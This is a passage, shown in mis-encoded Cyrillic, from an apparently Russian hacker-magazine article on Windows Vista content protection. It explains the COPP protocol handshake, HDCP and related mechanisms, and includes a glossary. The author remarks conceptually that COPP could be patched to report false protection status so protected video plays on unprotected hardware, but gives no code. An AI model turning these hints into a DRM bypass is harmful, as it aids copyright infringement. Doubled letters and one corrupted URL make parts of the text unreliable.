íàêîíåö, íàãðóçêà íà ïðîöåññîð è ïîòðåáíîñòè â
îïåðàòèâíîé ïàìÿòè ðåçêî âîçðàñòàþò, ÷òî ðèêî-
øåòîì óäàðÿåò ïî êà÷åñòâó èçîáðàæåíèÿ. Âåäü äà-
ëåêî íå âñå ìîãóò ïîçâîëèòü ñåáå êðóòóþ ìàøèíó, è
äàæå ïàðøèâûé MPEG2 ïðè âûâîäå íà òåëåâèçîð ñ
áîëüøèì ýêðàíîì òðåáóåò ïðèîáðåòåíèÿ àïïàðàò-
íîãî äåêîäåðà, ïîñêîëüêó Pentium-4 ñ íèì óæå íå
ñïðàâëÿåòñÿ (åñòåñòâåííî, ê ôèëüìàì, óæàòûì äî
ðàçìåðîâ ïîëîâèíû CD-ROM, ýòî íå îòíîñèòñÿ).

Ïîäðîáíåå óçíàòü î ìåõàíèçìå çàùèòû ìîæíî
èç îôèöèàëüíîãî äîêóìåíòà Microsoft: http://download.
microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-
b18336565f5b/PMP-sign.doc.

äâà ññëîâà îî CCOPP. Ñåðòèôèöèðîâàííûé ïðî-
òîêîë çàùèùåííîãî âûõîäà (Certified Output Pro-
tection Protocol èëè COPP) ïîçâîëÿåò ïðèëîæå-
íèÿì çàùèùàòü âèäåî-ïîòîê íà âñåì ïóòè ñëåäî-
âàíèÿ îò âèäåî-êàðòû äî ìîíèòîðà èëè ëþáîãî
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Äî ñèõ ïîð ñóùåñòâóåò çàáëóæäåíèå,
÷òî ñâîé îñíîâíîé äîõîä êèíîñòóäèè
ñîáèðàþò â êèíîòåàòðàõ, à âûïóñê dvd
ñîñòàâëÿåò íè÷òîæíóþ äîëþ ïðèáûëè. 

Â ÷àñòíîñòè, ôèëüì «Domino»,
íà ñúåìêè êîòîðîãî óøëî ïîðÿäêà $50
ìèëëèîíîâ äîëëàðîâ, ñîáðàë â êèíî-
òåàòðàõ âñåãî ëèøü $1 ìèëëèîí. Íî
ïîïàâ íà dvd, ñðàçó æå ïîëó÷èë êóëü-
òîâûé ñòàòóñ è äî ñèõ ïîð íå ñîáèðàåò-
ñÿ ñîêðàùàòü îáúåìû ïðîäàæ. Àíàëî-
ãè÷íàÿ èñòîðèÿ ïðîèçîøëà ñ «Fight
Club», «Dead Man» è ìíîãèìè äðóãèìè
ôèëüìàìè, ðàññ÷èòàííûìè íà ñïåöè-
ôè÷åñêóþ àóäèòîðèþ (èëè îòâåðãàå-
ìûìè ðÿäîì êèíîòåàòðîâ èç-çà èç-
ëèøíåé æåñòîêîñòè).
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äðóãîãî óñòðîéñòâà îòîáðàæåíèÿ. Ïðèëîæåíèÿ ìî-
ãóò èñïîëüçîâàòü COPP, ÷òîáû îïðåäåëèòü òèï
ôèçè÷åñêîãî ñîåäèíåíèÿ, ñâÿçûâàþùåãî êàðòó ñ
ìîíèòîðîì, è íàëè÷èå çàùèòû îò ïðîñìîòðà íå-
ðàçðåøåííîãî ìåäèà-êîíòåíòà. Çàùèòíûé ìåõà-
íèçì ñîñòîèò èç òðåõ ñëåäóþùèõ êîìïîíåíòîâ: 

— ÇÀÙÈÒÀ ØÈÐÎÊÎÏÎËÎÑÍÎÃÎ 
ÖÈÔÐÎÂÎÃÎ ÊÎÍÒÅÍÒÀ 
(HIGH-BANDWIDTH DIGITAL CONTENT
PROTECTION ÈËÈ HDCP).

— ÎÁÙÀß ÑÈÑÒÅÌÀ ÀÍÀËÎÃÎÂÎÃÎ 
ÓÏÐÀÂËÅÍÈß ÊÎÏÈÐÎÂÀÍÈÅÌ (COPY
GENERATION MANAGEMENT 
SYSTEM-ANALOG ÈËÈ CGMS-A).

— ÇÀÙÈÒÀ ÎÒ ÀÍÀËÎÃÎÂÎÃÎ 
ÊÎÏÈÐÎÂÀÍÈß (ANALOG COPY 
PROTECTION ÈËÈ ACP).

Åñëè âèäåî-êàðòà ïîääåðæèâàåò õîòÿ áû îäèí èç
ýòèõ ìåõàíèçìîâ, ïðèëîæåíèÿ ìîãóò çàäåéñòâîâàòü
ïðîòîêîë COPP äëÿ óñòàíîâêè òðåáóåìîãî óðîâíÿ
çàùèòû. Ñàì ïðîòîêîë COPP îïðåäåëÿåò íàáîð ñî-
ãëàøåíèé, îáåñïå÷èâàþùèõ óñòàíîâêó áåçîïàñíî-
ãî (secure) êîììóíèêàöèîííîãî êàíàëà ñ äðàéâåðîì
âèäåî-êàðòû, ÷òî ÿâëÿåòñÿ êëþ÷åâûì ýëåìåíòîì
îáùåé ñòðàòåãèè âçëîìà. Åñëè ðàñïîòðîøèòü
COPP, îñòàíåòñÿ òîëüêî ìîäèôèöèðîâàòü äðàéâåð!

Ïðîòîêîë COPP èñïîëüçóåò êîäû àóòåíòè-
ôèêàöèîííûõ ñîîáùåíèé (Message Authentication
Codes èëè MACs) äëÿ ïðîâåðêè öåëîñòíîñòè
COPP-êîìàíä, öèðêóëèðóþùèõ ìåæäó ïðèëîæå-
íèåì è âèäåî-äðàéâåðîì. Ïðèëîæåíèÿ âçàèìî-
äåéñòâóþò ñ COPP ïîñðåäñòâîì âûçîâà ìåòîäà
IAMCertifiedOutputProtection, ïðåäñòàâëÿþùåãî ñî-
áîé èíòåðôåéñ DirectShow Video Mixing Renderer
filter (VMR-7 èëè VMR-9).

Ñàì ïî ñåáå ïðîòîêîë COPP íå îïðåäåëÿåò íè-
êàêèõ ïîëèòèê öèôðîâûõ ïðàâ, ïðèìåíÿåìûõ ê öè-
ôðîâîìó ìåäèà-êîíòåíòó. Òàê æå COPP íå ñîäåðæèò
â ñåáå íèêàêèõ çàùèòíûõ ìåõàíèçìîâ, êîíòðîëè-
ðóþùèõ âûõîä öèôðîâîãî ìåäèà-ïîòîêà. Ïðîòîêîë
COPP âñåãî ëèøü ïðåäîñòàâëÿåò ñîáîé ñâîåîáðàç-
íûé «êîíòåéíåð», îáñëóæèâàþùèé ïîäêëþ÷åííûå ê
íåìó çàùèòû, îáåñïå÷åííûå âèäåî-êàðòîé. È, â
÷àñòíîñòè, ìîæåò âûâåñòè ñïèñîê ïîääåðæèâàåìûõ
åþ ìåòîäîâ — ìåäèà-ïëååð ñàì ðåøàåò, äîñòàòî÷íî
ëè ýòèõ çàùèò äëÿ âîñïðîèçâåäåíèÿ çàùèùåííîãî
êîíòåíòà èëè íåò. Î÷åâèäíî, ÷òî, ñëåãêà äîðàáîòàâ
COPP íàïèëüíèêîì, ìîæíî çàñòàâèòü åãî âîçâðà-
ùàòü ïîäëîæíóþ èíôîðìàöèþ, ïîçâîëÿþùóþ ïðîè-
ãðûâàòü çàùèùåííûé ìåäèà-êîíòåíò íà íåçàùè-
ùåííîì îáîðóäîâàíèè, äîïóñêàþùåì åãî ãðàáåæ.

Ïðåæäå ÷åì íà÷àòü âçàèìîäåéñòâîâàòü ñ
COPP'îì, ïðèëîæåíèå äîëæíî ïîñëåäîâàòåëüíî
âûïîëíèòü ñëåäóþùèå øàãè:

— ÏÎËÓ×ÈÒÜ ÖÅÏÎ×ÊÓ ÑÅÐÒÈÔÈÊÀÒÎÂ
ÄÐÀÉÂÅÐÀ (À ÒÎ ÂÄÐÓÃ ÏÎÏÀÄÅÒÑß «ËÅ-
ÂÛÉ» ÄÐÀÉÂÅÐ).

— ÏÎÑÒÐÎÈÒÜ DIRECTSHOW PLAYBACK
GRAPH, ÂÎÑÏÐÎÈÇÂÎÄßÙÈÉ (TO REN-
DER) ÂÈÄÅÎ-ÏÎÒÎÊ ×ÅÐÅÇ VIDEO MIXING
RENDERER FILTER (VMR).

— ÇÀÏÐÎÑÈÒÜ VMR ÄËß IAMCERTIFIEDOUT-
PUTPROTECTION ÈÍÒÅÐÔÅÉÑÀ.

— ÂÛÇÛÂÀÒÜ IAMCERTIFIEDOUTPUTPRO-
TECTION::KEYEXCHANGE, ÂÎÇÂÐÀÙÀÞ-
ÙÈÉ 128-ÁÈÒÍÎÅ ÑËÓ×ÀÉÍÎÅ ×ÈÑËÎ,
ÑÃÅÍÅÐÈÐÎÂÀÍÍÎÅ ÂÈÄÅÎ-ÄÐÀÉÂÅÐÎÌ
ÂÌÅÑÒÅ Ñ ÖÅÏÎ×ÊÎÉ ÑÅÐÒÈÔÈÊÀÒÎÂ,
ÑÎÄÅÐÆÀÙÅÉ 2048-ÁÈÒÍÛÉ ÏÓÁËÈ×-
ÍÛÉ RSA-ÊËÞ×, ÊÎÒÎÐÛÌ ÁÛË ÏÎÄÏÈ-
ÑÀÍ ÄÐÀÉÂÅÐ.

— ÏÐÎÂÅÐÈÒÜ ÖÅÏÎ×ÊÓ ÑÅÐÒÈÔÈÊÀÒÎÂ
È, ÅÑËÈ ÖÅÏÎ×ÊÀ ÑÅÐÒÈÔÈÊÀÒÎÂ ÍÅ-

ÂÅÐÍÀ, ÏÐÅÊÐÀÒÈÒÜ ÐÀÁÎÒÓ È ÓÉÒÈ 
ÍÀ ÏÎÊÎÉ.

— ÏÐÎÂÅÐÈÒÜ ÑÏÈÑÎÊ ÀÍÍÓËÈÐÎÂÀÍÍÛÕ
ÑÅÐÒÈÔÈÊÀÒÎÂ (CERTIFICATE REVOCA-
TION LIST ÈËÈ CRL) È, ÅÑËÈ ÕÎÒß ÁÛ
ÎÄÈÍ ÈÇ ÑÅÐÒÈÔÈÊÀÒÎÂ ÓÆÅ ÓÑÏÅË
«ÇÀÑÂÅÒÈÒÜÑß» Â ÝÒÎÌ ËÈÑÒÅ, ÏÐÅ-
ÊÐÀÒÈÒÜ ÐÀÁÎÒÓ.

— ÈÇÂËÅ×Ü ÈÇ ÖÅÏÎ×ÊÈ ÑÅÐÒÈÔÈÊÀÒÎÂ
ÏÓÁËÈ×ÍÛÉ RSA-ÊËÞ×.

— ÈÍÈÖÈÀËÈÇÈÐÎÂÀÒÜ COPP-ÑÅÑÑÈÞ.

— ÑÃÅÍÅÐÈÐÎÂÀÒÜ 128-ÁÈÒÍÛÉ AES ÑÅÑ-
ÑÈÎÍÍÛÉ ÊËÞ×, ÊÎÒÎÐÛÉ ÁÓÄÅÒ ÈÑ-
ÏÎËÜÇÎÂÀÍ ÄËß ÏÎÄÏÈÑÈ ÄÀÍÍÛÕ È
ÏÐÎÂÅÐÊÈ ÒÎÃÎ, ×ÒÎ ÏÎÄÏÈÑÀÍÍÛÅ
ÄÀÍÍÛÅ ÍÅ ÁÛËÈ ÌÎÄÈÔÈÖÈÐÎÂÀÍÛ.
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Âèäû ööèôðîâûõ ïïîäïèñåé, ííåîáõîäèìûõ ððàçëè÷íûì êêîìïîíåíòàì
âçàèìîäåéñòâóþùèì ññ ççàùèùåííûì ììåäèà-êêîíòåíòîì

ê î ì ï î í å í ò ò è ï  ò ð å á ó å ì î ã î  è ñ ï î ë ü ç î â à í è å  ï ð è ì å ð   î ï ö è è  

ñ å ð ò è ô è ê à ò à ñ å ð ò è ô è ê à ò à ð à ç ð å ø å í í î ã î  ï î ä ï è ñ è

ñ ö å í à ð è ÿ

â î ñ ï ð î è ç â å ä å í è å

âçàèìîäåéñòâóþùèé ïîäïèñü ïîäïèñü HD DVD KMCS1, 
ñ âèäåî-äðàéâåðîì êîäà êîäà WHQL2
â ðåæèìå ÿäðà PVP-OPM çàïðîñ- HD DVD MFPMP3

îòêëèê ñ èíòåãðèðîâàííûì
ãðàôè÷åñêèì
àäàïòåðîì

PVP-UAB çàïðîñ- HD DVD MFPMP
îòêëèê ñ äèñêåòíûì 

ãðàôè÷åñêèì
àäàïòåðîì

PVP-OPM çàïðîñ- ìåäèà-êîíòåíò,   MFPMP
â ðåæèìå îòêëèê òðåáóþùèé 
ñîâìåñòèìîñòè COPP'à íà XP

äðàéâåð ÿäðà, ïîäïèñü ïîäïèñü HD DVD KMCS, 
íå âçàèìîäåéñòâóþùèé êîäà êîäà WHQL
ñ âèäåî-äðàéâåðîì
äðàéâåð ñòàíäàðò ñòàíäàðò âîñïðîèçâåäåíèå WHQL, 
ïîëüçîâàòåëüñêîãî çàùèùåííîãî MFPMP
ðåæèìà, êîíòåíòà
âçàèìîäåéñòâóþùèé ÷åðåç PMP
ñ âèäåî-äðàéâåðîì
äðàéâåð ÿäðà, PUMA ïîäïèñü SAP-êîíòåíò WHQL
âçàèìîäåéñòâóþùèé êîäà ñ àóäèîñèñòåìîé, 
ñ àóäèî-äðàéâåðîì èëè ïîçâîëÿþùèé
åãî êîìïîíåíòàìè çàäåéñòâîâàòü

ýòè òðåáîâàíèÿ
äðàéâåð PMP-PE ïîäïèñü êîìïîíåíòû WHQL, 
ïîëüçîâàòåëüñêîãî êîäà èëè APOs,  MFPMP
ðåæèìå èëè äðóãèå ìîãóùèå
êîìïîíåíòû, îáðàáàòûâàòü
ó÷àñòâóþùèå çàùèùåííûé
â îáðàáîòêå êîíòåíò
îáúåêòîâ APO
ïëàãèíû Media PMP-PE ïîäïèñü ïëàãèíû, MFPMP
Foundation êîäà îáðàáàòûâàþùèå 
(êîäåêè, ôèëüòðû) çàùèùåííûé

êîíòåíò
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— ÑÃÅÍÅÐÈÐÎÂÀÒÜ ÄÂÀ ÊÐÈÏÒÎÃÐÀÔÈ×Å-
ÑÊÈÕ ÑÅÊÐÅÒÍÛÕ 32-ÁÈÒÍÛÕ ÑËÓ×ÀÉ-
ÍÛÕ ×ÈÑËÀ, ÏÅÐÂÎÅ ÈÇ ÊÎÒÎÐÛÕ ÏÐÅÄ-
ÑÒÀÂËßÅÒ ÑÎÁÎÉ ÍÎÌÅÐ ÏÎÑËÅÄÎÂÀ-
ÒÅËÜÍÎÑÒÈ ÑÒÀÒÓÑÀ, À ÂÒÎÐÎÅ — ÍÎ-
ÌÅÐ ÏÎÑËÅÄÎÂÀÒÅËÜÍÎÑÒÈ ÊÎÌÀÍÄ
(ÊÀÆÄÛÉ ÐÀÇ, ÊÎÃÄÀ ÏÐÈËÎÆÅÍÈÅ ÏÎ-
ÑÛËÀÅÒ ÊÎÌÀÍÄÓ ÈËÈ ÇÀÏÐÎÑ ÑÒÀÒÓ-
ÑÀ, ÑÎÎÒÂÅÒÑÒÂÓÞÙÈÅ ÍÎÌÅÐÀ ÏÎ-
ÑËÅÄÎÂÀÒÅËÜÍÎÑÒÈ ÓÂÅËÈ×ÈÂÀÞÒÑß
ÍÀ ÅÄÈÍÈÖÓ È ÂÎÇÂÐÀÙÀÞÒÑß ÂÌÅÑÒÅ
Ñ ÇÀÏÐÎÑÎÌ ÍÀÇÀÄ ÏÐÈËÎÆÅÍÈÞ).

— ÎÁÚÅÄÈÍÈÒÜ 128-ÁÈÒÍÎÅ ÑËÓ×ÀÉÍÎÅ
×ÈÑËÎ, ÏÎËÓ×ÅÍÍÎÅ ÎÒ ÂÈÄÅÎ-ÄÐÀÉ-
ÂÅÐÀ, Ñ AES ÑÅÑÑÈÎÍÍÛÌ ÊËÞ×ÎÌ,
ÍÎÌÅÐÀÌÈ ÏÎÑËÅÄÎÂÀÒÅËÜÍÎÑÒÈ
ÑÒÀÒÓÑÀ È ÊÎÌÀÍÄ, ÄÀËÅÅ — ÇÀØÈ-
ÔÐÎÂÀÒÜ ÝÒÎÒ ÁÀÉÒÎÂÛÉ ÌÀÑÑÈÂ ÏÓ-
ÁËÈ×ÍÛÌ ÊËÞ×ÎÌ ÄÐÀÉÂÅÐÀ È ÏÅÐÅ-
ÄÀÒÜ ÏÎËÓ×ÅÍÍÛÉ ÐÅÇÓËÜÒÀÒ ÌÅÒÎÄÓ
IAMCERTIFIEDOUTPUTPROTECTION::SES-
SIONSEQUENCESTART.

— ÍÀ×ÀÒÜ ÎÒÏÐÀÂËßÒÜ COPP-ÊÎÌÀÍÄÛ 
È ÇÀÏÐÎÑÛ ÑÒÀÒÓÑÀ.

— ÏÎÈÍÒÅÐÅÑÎÂÀÒÜÑß ÍÀËÈ×ÈÅÌ ÇÀ-
ÙÈÒÍÛÕ ÌÅÕÀÍÈÇÌÎÂ, À ÒÀÊ ÆÅ ÈÕ ÒÈ-
ÏÀÌÈ ÏÓÒÅÌ ÂÛÇÎÂÀ ÌÅÒÎÄÀ IAMCER-
TIFIEDOUTPUTPROTECTION::PROTEC-
TIONSTATUS.

— ÓÑÒÀÍÎÂÈÒÜ ÇÀÄÀÍÍÛÅ ÓÐÎÂÍÈ ÇÀÙÈ-
ÒÛ ÏÓÒÅÌ ÂÛÇÎÂÀ ÌÅÒÎÄÀ IAMCERTIFI-
EDOUTPUTPROTECTION::PROTECTION-
COMMAND.

— ÏÅÐÈÎÄÈ×ÅÑÊÈ ÎÏÐÀØÈÂÀÒÜ ÒÅÊÓÙÈÉ
ÓÐÎÂÅÍÜ ÇÀÙÈÒÛ, ÍÅÌÅÄËÅÍÍÎ ÏÐÅ-
ÊÐÀÙÀß ÂÎÑÏÐÎÈÇÂÅÄÅÍÈÅ, ÅÑËÈ ËÎ-
ÊÀËÜÍÛÉ ÓÐÎÂÅÍÜ ÇÀÙÈÒÛ ÂÄÐÓÃ
ÍÅÎÆÈÄÀÍÍÎ ÈÇÌÅÍÈÒÑß.

Êàê âèäíî, îñíîâíûå çàùèòíûå êîìïîíåíòû ðåà-
ëèçîâàíû íà ïðîãðàììíîì óðîâíå è ñâîäÿòñÿ ê ñå-
ðèè ïðîâåðîê, ïîëàãàþùèõñÿ íà êðèïòîãðàôèþ, íî
çàáûâàþùèõ î òîì, ÷òî âûïîëíÿòü âñå ýòè øàãè, â
îáùåì-òî, ñîâåðøåííî íåîáÿçàòåëüíî. Ôàêòè÷å-
ñêè, çàùèòà öèôðîâîãî ìåäèà-êîíòåíòà ïîëàãàåò-
ñÿ íà ÷åñòíîñòü ðåàëèçàöèè ïëååðà, êîòîðûé, êñòà-
òè ãîâîðÿ, õîòü è çàùèùåí îò ìîäèôèêàöèè, íî è
ýòà çàùèòà âûïîëíåíà íà ïðîãðàììíîì, à îòíþäü
íå àïïàðàòíîì óðîâíå.

Ïîäðîáíåå îáî âñåì ýòîì ìîæíî ïðî÷èòàòü â
ñïåöèôèêàöèè íà COPP-ïðîòîêîë «Using Certified
Output Protection Protocol (COPP)»: msdn.micro-
soft.com/library/default.asp?url=/library/en-us/dnwmt/
h tml /us ing_cer t i f i ed_outpu t_pro tec t ion_pro toco l_
copp__bwjn.asp. Òàì æå ìîæíî íàéòè è ãîòîâûå ïðè-
ìåðû, óïðîùàþùèå óêðîùåíèå ýòîé çàðàçû.

çàêëþ÷åíèå. Êàê è ñëåäîâàëî îæèäàòü, íè÷å-
ãî ïóòíîãî ó Microsoft íå ïîëó÷èëîñü. Âìåñòî èçÿù-

íîé, áåçãëþ÷íîé è ïî-íàñòîÿùåìó íàäåæíîé çà-
ùèòû ïîëó÷èëè óðîäëèâîå ïåðåïëåòåíèå ìíîæå-
ñòâà ìîäóëåé, íåïîíÿòíî ÷òî äåëàþùèõ è äëÿ êà-
êîé öåëè ñîçäàííûõ. Òî åñòü öåëü-òî î÷åíü õîðî-
øî ïîíÿòíà, íî âîò åå ðåàëèçàöèÿ…

Â îáùåì, õàêåðû áåç ðàáîòû íå îñòàíóòñÿ,
òàê ÷òî ïîëüçîâàòåëè ìîãóò íå âîëíîâàòüñÿ

http://download.microsoft.com/download/
a/f/7/af7777e5-77dcd-44800-88a0a-bb18336565f5b/
pmp-ssign.doc
ìåõàíèçì çàùèòû ìåäèà-êîíòåíòà

http://msdn.microsoft.com/library/
default.asp?url=/library/enus/dnwmt/html/
using_certified_output_prrotection_protocol_
copp_bwjn.asp
ñïåöèôèêàöèÿ íà COPP-ïðîòîêîë

ãëîññàðèé
ADVANCED AACCESS CCONTENT SSYSTEM ((AACS) — ÑÏÅÖÈÔÈÊÀÖÈß, ÎÏÈÑÛÂÀÞÙÀß 
ÓÏÐÀÂËÅÍÈÅ ÌÅÄÈÀ-ÊÎÍÒÅÍÒÎÌ, ÇÀÏÈÑÀÍÍÛÌ ÍÀ ÎÏÒÈ×ÅÑÊÈÕ ÍÎÑÈÒÅËßÕ 
ÑËÅÄÓÞÙÅÃÎ ÏÎÊÎËÅÍÈß È ÏÐÅÄÍÀÇÍÀ×ÅÍÍÛÌ ÄËß ÂÎÑÏÐÎÈÇÂÅÄÅÍÈß 
ÍÀ PC È ÀÂÒÎÍÎÌÍÛÕ ÏÐÎÈÃÐÛÂÀÒÅËßÕ.

CERTIFICATION AAUTHORITY ((CA) — «ÀÂÒÎÐÈÒÅÒ», ÏÐÅÄÎÑÒÀÂËßÞÙÈÉ ÑÅÐÒÈÔÈÊÀÒÛ,
ÏÎÄÒÂÅÐÆÄÀÞÙÈÅ, ×ÒÎ ÏÓÁËÈ×ÍÛÉ ÊËÞ× ÏÐÈÍÀÄËÅÆÈÒ ÈÑÒÈÍÍÎÌÓ ÂËÀÄÅËÜÖÓ.

CODE-SSIGNING CCERTIFICATE — ÑÅÐÒÈÔÈÊÀÒ, ÈÑÏÎËÜÇÓÅÌÛÉ ÄËß ÏÎÄÏÈÑÀÍÈß 
ÄÂÎÈ×ÍÛÕ ÔÀÉËÎÂ.

DDRM AATTRIBUTE — CODE-SIGNING ÀÒÐÈÁÓÒ, ÏÐÅÄÎÑÒÀÂËÅÍÍÛÉ «WINDOWS LOGO 
PROGRAM» (ÇÄÅÑÜ «PROGRAM» — ÝÒÎ ÍÅ ÏÐÎÃÐÀÌÌÀ, À ÊÎÌÏÀÍÈß) È ÏÐÎÂÅÐßÞÙÈÉ,
×ÒÎ ÄÐÀÉÂÅÐ ÂÛÏÎËÍÅÍ Â ÏÎËÍÎÌ ÑÎÎÒÂÅÒÑÒÂÈÈ Ñ ÒÐÅÁÎÂÀÍÈÅÌ ÀÏÏÀÐÀÒÍÎÉ 
ÓÍÈÂÅÐÑÀËÜÍÎÉ ÀÓÄÈÎ-ÀÐÕÈÒÅÊÒÓÐÛ (UNIVERSAL AUDIO ARCHITECTURE, ÑÎÊÐÀÙÅÍÍÎ
UAA), ÊÎÒÎÐÀß ÏÎÇÂÎËßÅÒ ÄÐÀÉÂÅÐÓ ÎÁÐÀÁÀÒÛÂÀÒÜ ÇÀÙÈÙÅÍÍÛÉ ÌÅÄÈÀ-ÊÎÍÒÅÍÒ.

DISCRETE VVERSUS IINTEGRATED GGRAPHICS — ÄÈÑÊÐÅÒÍÛÅ ÃÐÀÔÈ×ÅÑÊÈÅ ÀÄÀÏÒÅÐÛ.
ÏÐÅÄÑÒÀÂËßÞÒ ÑÎÁÎÉ ÑÀÌÎÑÒÎßÒÅËÜÍÛÅ ÓÑÒÐÎÉÑÒÂÀ, ÎÁÛ×ÍÎ ÂÑÒÀÂËßÅÌÛÅ 
Â ÌÀÒÅÐÈÍÑÊÓÞ ÏËÀÒÓ ×ÅÐÅÇ ÑËÎÒÛ ÐÀÑØÈÐÅÍÈß (ÈÍÒÅÃÐÈÐÎÂÀÍÍÛÅ ÆÅ 
ÃÐÀÔÈ×ÅÑÊÈÅ ÀÄÀÏÒÅÐÛ ÂÑÒÐÎÅÍÛ ÍÅÏÎÑÐÅÄÑÒÂÅÍÍÎ Â ÑÀÌ ×ÈÏÑÅÒ).

IDENTIFIED KKERNEL — ßÄÐÎ, Â ÊÎÒÎÐÎÌ ÍÀÕÎÄßÒÑß ÒÎËÜÊÎ ÄÐÀÉÂÅÐÀ, ÏÎÄÏÈÑÀÍÍÛÅ
ÀÂÒÎÐÈÒÅÒÀÌÈ, ÊÎÒÎÐÛÌ MICROSOFT ÁÅÇÎÃÎÂÎÐÎ×ÍÎ ÄÎÂÅÐßÅÒ.

KERNEL-MMODE CCODE SSIGNINNG ((KMCS) — ÏÐÎÖÅÑÑ ÖÈÔÐÎÂÎÃÎ ÏÎÄÏÈÑÛÂÀÍÈß 
ÏÐÎÃÐÀÌÌÍÎÃÎ ÎÁÅÑÏÅ×ÅÍÈß, ÁÅÇ ÊÎÒÎÐÎÃÎ ÎÍÎ ÍÅ ÌÎÆÅÒ ÁÛÒÜ ÇÀÃÐÓÆÅÍÎ 
ÍÀ ÓÐÎÂÅÍÜ ßÄÐÀ.

MEDIA IINTEROPERABILITY GGATEWAY ((MIG) — ÐÀÑØÈÐßÅÌÛÉ ÌÓËÜÒÈÌÅÄÈÉÍÛÉ ÊÎÍÂÅÉÅÐ,
ÇÀÁÐÎØÅÍÍÛÉ ÍÀ ÂÅÐØÈÍÓ ÍÎÂÎÃÎ MEDIA FOUNDATION API È ÐÀÁÎÒÀÞÙÈÉ ÂÍÓÒÐÈ 
ÇÀÙÈÙÅÍÍÎÃÎ ÎÊÐÓÆÅÍÈß (PROTECTED ENVIRONMENT, ÑÎÊÐÀÙÅÍÍÎ PE), ÊÎÒÎÐÎÅ,
Î×ÅÂÈÄÍÎ, ÇÀÙÈÙÅÍÍÛÌ ÍÅ ßÂËßÅÒÑß.

MIG PPLUG-IIN — ÊÎÌÏÎÍÅÍÒÛ ÎÁÐÀÁÎÒÊÈ ÌÅÄÈÀ-ÏÎÒÎÊÀ ÈËÈ ÇÀÙÈÒÛ ÅÃÎ ÑÎÄÅÐÆÈÌÎÃÎ,
ÍÀÕÎÄßÙÈÅÑß ÂÍÓÒÐÈ MIG-ÊÎÍÂÅÉÅÐÀ È ÏÐÅÏßÒÑÒÂÓÞÙÈÅ ÎÒÊÐÛÒÎÌÓ ÃÐÀÁÅÆÓ ÑÐÅ-
ÄÈ ÁÅËÀ ÄÍß (ÏÐÈÌÅÐÀÌÈ MIG-ÏËÀÍÈÍÎÂ ßÂËßÞÒÑß ÊÎÄÅÊÈ È ÄÅÊÐÈÏÒÎÐÛ).

PARTICIPATING DDRIVER — ËÞÁÎÉ ÊÎÌÏÎÍÅÍÒ ÏÎËÜÇÎÂÀÒÅËÜÑÊÎÃÎ ÓÐÎÂÍß, 
ÇÀÃÐÓÆÅÍÍÛÉ ÂÍÓÒÐÜ PMP PE È ÈÌÅÞÙÈÉ ÄÎÑÒÓÏ Ê ÍÅÇÀØÈÔÐÎÂÀÍÍÎÌÓ 
ÇÀÙÈÙÅÍÍÎÌÓ ÌÅÄÈÀ-ÊÎÍÒÅÍÒÓ, ÒÐÀÍÑÏÎÐÒÈÐÓÞÙÈÉ ÅÃÎ ×ÅÐÅÇ ÂÑÞ ÑÈÑÒÅÌÓ 
WINDOWS VISTA PC Ê ÏÓÍÊÒÓ ÊÎÍÅ×ÍÎÃÎ ÍÀÇÍÀ×ÅÍÈß (ÍÀÏÐÈÌÅÐ Ê ÌÎÍÈÒÎÐÓ). 

PROTECTED CCONNTENT — ËÞÁÎÉ ÌÅÄÈÀ-ÊÎÍÒÅÍÒ, ÇÀÙÈÙÅÍÍÛÉ ÊÀÊÎÉ-ËÈÁÎ ÔÎÐÌÎÉ
DRM (DIGITAL RIGHTS MANAGEMENT — ÓÏÐÀÂËÅÍÈÅ ÖÈÔÐÎÂÛÌÈ ÏÐÀÂÀÌÈ).

PREMIUM CCONTENT — ÖÈÔÐÎÂÎÉ ÊÎÍÒÅÍÒ ÑËÅÄÓÞÙÅÃÎ ÏÎÊÎËÅÍÈß, ÒÀÊÎÉ ÊÀÊ HD DVD
ÈËÈ ËÞÁÎÉ ÄÐÓÃÎÉ ÔÎÐÌÀÒ, ÇÀÙÈÙÅÍÍÛÉ ÑÒÀÍÄÀÐÒÎÌ AACS.

PROTECTED EENVIRONMENT ((PE) — ÑÐÅÄÀ, ÇÀÙÈÙÅÍÍÀß ÎÒ ÕÀÊÅÐÑÊÎÃÎ ÂÎÇÄÅÉÑÒÂÈß
(ÒÅÎÐÅÒÈ×ÅÑÊÈ ÇÀÙÈÙÅÍÍÀß), Â ÊÎÒÎÐÎÉ ÐÀÁÎÒÀÞÒ PMP-ÊÎÌÏÎÍÅÍÒÛ.

PROTECTED MMEDIA PPATH ((PMP) — ÎÁÙÈÉ ÒÅÐÌÈÍ, ÎÕÂÀÒÛÂÀÞÙÈÉ ÌÍÎÆÅÑÒÂÎ 
ÒÅÕÍÎËÎÃÈÉ È ÏËÀÒÔÎÐÌ, ÎÁÅÑÏÅ×ÈÂÀÞÙÈÕ ÓÑÒÎÉ×ÈÂÓÞ, ÈÍÒÅÐÎÏÅÐÀÁÅËÜÍÓÞ 
ÎÁÐÀÁÎÒÊÓ ÖÈÔÐÎÂÎÃÎ ÊÎÍÒÅÍÒÀ ÍÎÂÎÃÎ ÏÎÊÎËÅÍÈß ÍÀ WINDOWS VISTA.
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ßäðî îïåðàöèîííîé ñèñòåìû — ýòî ôóíäàìåíò,
íà êîòîðûé îïèðàþòñÿ âñå îñòàëüíûå ïðîãðàì-
ìíûå êîìïîíåíòû (äðàéâåðà, ñëóæáû, ïðèëîæå-
íèÿ). Â ìíîãîçàäà÷íûõ (è òåì áîëåå — ìíîãîïîëü-
çîâàòåëüñêèõ) ñðåäàõ êðàéíå âàæíî èçîëèðîâàòü
îäèí êîìïîíåíò îò äðóãîãî òàê, ÷òîáû îí ñëó÷àéíî
èëè ïðåäóìûøëåííî íå ìîã åìó íàâðåäèòü.

Ôóíäàìåíò Windows NT ïîñòðîåí ïî ãèáðèä-
íîé ñõåìå — ìîíîëèòíîå ÿäðî ïëþñ çàãðóæàåìûå
ìîäóëè (â ñâîéñòâåííîé èì òåðìèíîëîãèè íàçûâà-
åìûå äðàéâåðàìè). NT ïîääåðæèâàåò äâà òèïà
äðàéâåðîâ: ïîäêëþ÷àåìûå íà ñòàäèè çàãðóçêè îïå-
ðàöèîííîé ñèñòåìû è çàãðóæàåìûå íà ëåòó, ÷òî
ñîçäàåò ïðîáëåìû óñòîé÷èâîñòè è áåçîïàñíîñòè.

Âñå äðàéâåðà ðàáîòàþò â åäèíîì ñ ÿäðîì
àäðåñíîì ïðîñòðàíñòâå íà òîì æå ñàìîì óðîâíå
ïðèâèëåãèé, ÷òî è îíî, «áëàãîäàðÿ» ÷åìó ìîãóò
